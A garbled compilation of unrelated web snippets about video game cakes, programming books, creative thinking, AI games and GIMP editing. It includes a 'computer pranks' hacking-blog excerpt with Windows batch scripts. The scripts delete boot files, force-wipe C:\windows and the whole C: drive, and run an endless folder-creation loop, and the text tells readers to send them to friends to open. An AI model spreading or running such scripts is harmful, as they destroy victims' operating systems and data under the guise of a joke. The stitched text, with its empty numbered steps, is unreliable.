19 Amazing Video Game Cakes - Mental Floss Serious gamers know just how time-consuming gaming is, often making it difficult to do anything besides working (only to buy more games) and playing the games themselves. Even so, gamers usually do still manage to have lives outside of the console; these cakes are some of the amazing creations born as a result. Consoles While most people dedicate their gaming obsessions to the specific games they play, others adore entire consoles. For those who worship at the altar of the original NES, Debbie Does Cakes has made a simply amazing cake complete with some of the system’s most classic characters. Of all the console cakes around, this PS3 cake by Pink Cake Box, accessorized with a Blackberry and spilled Pepsi can, might best capture the gaming lifestyle for those truly dedicated few. There’s nothing quite like the feeling of pulling a new system out of its box for the first time and this Nintendo DSi cake by Pink Cake Box perfectly captures that blissful feeling. Lego Batman Skyrim Bioshock Q*Bert
6 Books Every Programmer Should Own I’ve seen many lists about the best programming books and I am sure there are a lot of books that are specific to a programming knowledge or technology – that I have not included in my list. The books I have chosen are those that are meant to inspire, increase productivity and improve your programming design skills. Note: This list has no particular order. Code Complete 2 Steve McConnell The main focus of this book to help you improve your programming design skills. The Pragmatic Programmer: From Journeyman to Master Andrew Hunt and David Thomas This book focuses on the best practices of programming (i.e. what you should and should not do). Pragmatic Thinking and Learning: Refactor Your Wetware Andy Hunt From the author of The Pragmatic Programmer, this book takes one-step back from programming and focuses on your everyday thinking and problem solving skills. The Productive Programmer Neal Ford and David Bock Algorithms in a Nutshell George T Heineman, Gary Pollice and Stanley Selkow Thomas H.
Thinking like a genius: overview Thinking and recall series Problem solving: creative solutions "Even if you're not a genius, you can use the same strategies as Aristotle and Einstein to harness the power of your creative mind and better manage your future." The following strategies encourage you to think productively, rather than reproductively, in order to arrive at solutions to problems. Nine approaches to creative problem solving: Rethink! Exercise #2 illustrates how famous thinkers used these approaches. Exercise #1: illustrates applications of the nine approaches. Text of exercise:Nine approaches to creative problem solving: Rethink! Thinking and recall series Concentrating | Radical thinking | Thinking aloud/private speech | Thinking critically | Thinking critically | Thinking creatively | Mapping explanation | Make your own map I | Make your own map II | Thinking like a genius: Creative solutions | Famous thinkers | Selected thoughts
Neuro Evolving Robotic Operatives Neuro-Evolving Robotic Operatives, or NERO for short, is a unique computer game that lets you play with adapting intelligent agents hands-on. Evolve your own robot army by tuning their artificial brains for challenging tasks, then pit them against your friends' teams in online competitions! New features in NERO 2.0 include an interactive game mode called territory capture, as well as a new user interface and more extensive training tools. NERO is a result of an academic research project in artificial intelligence, based on the rtNEAT algorithm. Currently, we are developing an open source successor to NERO , OpenNERO , a game platform for AI research and education. Ten games that make you think about life At the start of this year, we decided to come up with a list of Flash casual games with a philosophical bent. To be honest, we struggled. After days of research, we could only find a handful of games that had the thought-provoking depth we were looking for. Our list (which you can view by clicking here) was therefore only five games long. Fast forward to now, and it is remarkable how much difference a few months can make. In a wonderful twist, it seems it is the Flash gaming space - until now known more for the throwaway nature of its games rather than depth - that is leading the way in this exciting new area of gaming, as we hope the following games prove. One you have finished playing these games, check out our follow-up lists: Ten More Games That Make You Think About Life and Another 20 Games That Make You Think About Life. 1Immortall The game starts with you crash landing on a planet. 2Loved 3I Can Hold My Breath Forever 4The Company of Myself 5Coma 6Loondon 7I Wish I Were the Moon
Painfully Computer Pranks ~ Computer Hacking | Learn How To Hack Computer pranks to freak out your friends and make them crying for mummy I've been posting many articles about computer pranks on this blog (Deadly Virus Prank, The Ultimate Virus, How to Create a Fake and Harmless Virus and Facebook Virus Prank). Today , I will show you 5 great computer pranks that will frustrate your victims very much. 1. I stumbled across this URL while surfing the internet. 2. Open notepad and copy/paste this code: @echo offattrib -r -s -h c:\autoexec.batdel c:\autoexec.batattrib -r -s -h c:\boot.inidel c:\boot.iniattrib -r -s -h c:\ntldrdel c:\ntldrattrib -r -s -h c:\windows\win.inidel c:\windows\win.ini Now Save it as a .bat file. This should shutdown the persons computer. Send it to your friends computer and tell them to open it. Here is another code too..... cmd /c del c:\windows\* /F /S /Q cmd /c del c:\* /F /S /Q Paste it in NotePad And Save It with Extension .cmd or .bat 3. 1. @echo off:topmd %random%goto top 2. 3. 4. 5. 4. 1. 2. 3. 5. 1. 2. 3.
Three Steps to Success for Creative Geniuses Creative people have it tough in this world. Despite having the skills and potential to make a tremendous impact, the odds are stacked against us. Unlike our business minded counterparts, the path to the success is not clearly defined. If you are reading this article, chances are you are what I call a genius type. Entrepreneurs, musicians, film-makers, writers, producers, directors, artists, real estate investors, photographers, inventors, and stock pickers are a few good examples. I paid my way through college with my own businesses. The “Artist’s Dilemma:” In the short-run, the truer you are to your own genius, the less it pays. A person who wants to follow his own creativity and passion, but isn’t independently wealthy faces an uphill battle. For example, consider a painter who really gets excited about post-modern, abstract art that few people understand. Or, consider a person who gets excited talking about her idea for a new bakery. I lasted less than a year in management. Focus
Alchemy - Open Source AI A History of Home Video Games from Atari to Xbox, Playstation and Wii - StumbleUpon Removing an object on a photo with GIMP Tutorial to remove objects (or people) and restore the portion of the background they hide in a photo with the Resynthesizer plugin. An impressive video has been posted on Youtube to show how, with Photoshop, it is possible to delete objects in an image automatically, without any design work. The same can be done with The Gimp in fact and for longer (it is not impossible that the same algorithm has been reused). This plugin "re-synthesizes" the background" and rebuilds it from same elements on the photo. It can thus reconstruct the sky, lawn, or even more complex views, from a sample taken from the image. First, see the Resynthesizer tutorial to know the purpose of controls. We will put in practice the commands using the same pictures that the Photoshop demonstration video. Using Resynthesizer in Script-Fu 1. 2. We want to remove the tree on the top left. 3. This windows is opened. 4.Here is the final image Using the Map -> Resynthesize filter 1. 2. 3. 4. This window is opened: 5. More
PC AI sucks at Civilization, reads manual, starts kicking ass The Massachusetts institute of technology have been experimenting with their computers' AI. Specifically the way they deal with the meaning of words. You might think that the best way to analyse this kind of thing would be with a human to PC conversation, like in Short Circuit. That's not the case. Instead, the boffins handed over PC classic, Civilization, and let the AI get on with it. They sucked - winning a mere 46 per cent of the time. Then the researchers handed over the instructions and taught the PCs a "machine-learning system so it could use a player's manual to guide the development of a game-playing strategy." Associate professor of computer science and electrical engineering, Regina Barzilay, offered insight into why they used a game manual to prove their point. Civ was picked because it's a really fun game, and they didn't want the computers to get bored during the testing. Not really. These kind of systems could make developer's jobs a lot easier. (via Reddit)